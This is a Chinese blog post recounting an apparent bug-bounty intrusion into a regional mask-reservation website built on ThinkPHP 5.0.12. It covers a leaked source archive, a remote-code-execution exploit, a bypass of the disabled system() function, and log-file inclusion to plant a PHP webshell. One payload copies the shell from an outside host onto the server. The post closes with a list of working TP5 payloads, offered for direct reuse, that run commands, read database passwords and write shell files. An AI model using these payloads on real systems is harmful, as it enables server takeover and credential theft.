记一次公益SRC挖掘过程

前言

疫情当前,各省都开了口罩预约网站,由于本小白在的地区比较落后,网络安全也不是很发达,也没有得到很好的重视,所以友情检测一波,具体漏洞已经交给360补天~

前期准备工作

首先到了目标站点,扫了一波端口,发现3306还有21,22端口都是开启的,尝试弱密码登录失败,又试了一下数据库,发现数据库不允许远程登录。于是,冒着被ban的风险,直接御剑,发现了存在public目录和web.zip???

3bzC9O.jpg

立马下载解压!发现了数据库的配置还有乱七八糟一堆东西

3bzVHI.jpg

渗透开始

有数据库账户密码,不过是测试的demo数据库,而且不允许远程连接,感觉有点难搞~但是thinkphp的字样格外闪耀~所以试一下前面的TP5漏洞

1
/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

发现没有执行whoami的命令,但是网页有报错,往下翻,能找到具体版本号

3qSli6.jpg

这下直接找对应小版本号的漏洞试试~

1
_method=__construct&filter[]=system&method=get

3qpfnH.jpg

发现system函数是被禁用了的,所以需要绕过一下。

这里感谢一下小石师傅的耐心指导~成功rce

1
a=-1&_method=__construct&filter=phpinfo&method=GET

3q9Gbd.jpg

然后想着能不能getshell看一下数据库,就准备传马,在网上找到了白夜鬼魅师傅的文章

感觉白夜师傅遇到的情况和我的很相似,于是准备按照师傅思路来用报错日志包含个一句话进去,然后利用一句话连接getshell。说干就干~

先试一下__include_file是不是能执行,发现可以执行,只不过是被限制了读文件的内容,现在就可以用日志来包含恶意代码执行命令啦~

3qA3Kf.jpg

这时候一句话写入成功了已经,在报错日志里,现在只需要找到log目录就行,这个log的目录名字很好猜,就是年月日.log所以我们直接访问,也可以直接copy新的一句话到一个文件夹然后用菜到蚁剑等工具连接。

3qEO7F.jpg

现在copy一个新的一句话进去为了方便一会儿直接连接就好啦

1
_method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=./runtime/log/202003/06.log&1337=echo copy("http://XXXX/1.txt","/www/wwwroot/www.test.cn/1.php");

本次测试基于TP5.0.12,给大佬们附上其他payload,有时候直接可以拿来用了~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
?s=index/\think\Request/input&filter=phpinfo&data=1

?s=index/think\config/get&name=database.hostname

?s=index/think\config/get&name=database.password

?s=index/\think\Request/input&filter=system&data=id

?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E

?s=index/\think\view\driver\Php/display&content=<?php%20phpinfo();?>

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

最后再次感谢小石师傅和鬼魅dalao~还有Blacat大兄弟~

坚持原创技术分享,您的支持将鼓励我继续创作!